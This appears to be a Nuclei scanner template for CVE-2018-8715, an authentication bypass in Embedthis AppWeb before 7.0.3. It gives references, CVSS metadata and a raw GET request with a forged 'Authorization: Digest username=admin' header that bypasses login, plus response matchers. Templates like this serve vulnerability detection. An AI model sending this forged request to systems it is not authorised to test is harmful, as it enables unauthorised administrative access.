id: CVE-2018-8715 info: name: AppWeb - Authentication Bypass author: milo2012 severity: high description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types. reference: - https://github.com/embedthis/appweb/issues/610 - https://blogs.securiteam.com/index.php/archives/3676 - https://security.paloaltonetworks.com/CVE-2018-8715 - https://nvd.nist.gov/vuln/detail/CVE-2018-8715 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cwe-id: CWE-1391 cve-id: CVE-2018-8715 tags: cve,cve2018,appweb,auth-bypass metadata: max-request: 1 http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Authorization: Digest username=admin matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '' part: body # Enhanced by cs 04/25/2023